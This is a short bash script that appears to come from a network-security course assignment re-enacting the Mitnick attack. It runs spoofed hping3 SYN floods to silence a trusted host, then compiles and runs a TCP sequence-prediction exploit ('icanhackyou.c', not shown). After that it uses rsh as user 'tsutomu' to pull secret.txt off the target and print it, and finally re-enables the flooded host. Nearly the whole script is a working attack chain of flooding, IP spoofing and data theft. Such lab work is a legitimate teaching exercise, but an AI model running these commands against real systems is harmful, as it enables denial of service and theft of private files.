start

#!/bin/bash
echo "Welcome to the assignment 2 of CNS
We will first start with the hping3 command to do SYN flooding.

The command is: hping3 -S -V 172.16.18.4 -p 513 -a 192.168.1.1 -d 7 -e 'disable' -c 10"
sleep 3
sudo hping3 -S -V 172.16.18.4 -p 513 -a 192.168.1.1 -d 7 -e "disable" -c 10
echo "Server is down, I repeat server is down. Now compilling and running the script for predicting SYN and sending payload"
sleep 3
sudo gcc icanhackyou.c -lnet -lpcap
sudo ./a.out eth0
sleep 3
echo " Now we will copy the content of secret.txt file to our local file called secret.txt"
rsh 172.16.18.5 -l tsutomu cat secret.txt >> secret.txt
sleep 2
echo "Before enabling the server check the content of the file is:::::::::: "
sleep 2
cat secret.txt
sleep 4
echo "Now we need to enable the server. The command is  hping3 -S -V 172.16.1.1 -p 513 -a 192.168.1.1 -d 6 -e 'enable' -c 1"
sleep 2
sudo hping3 -S -V 172.16.18.4 -p 513 -a 192.168.1.1 -d 6 -e "enable" -c 1
echo "Shell script done!"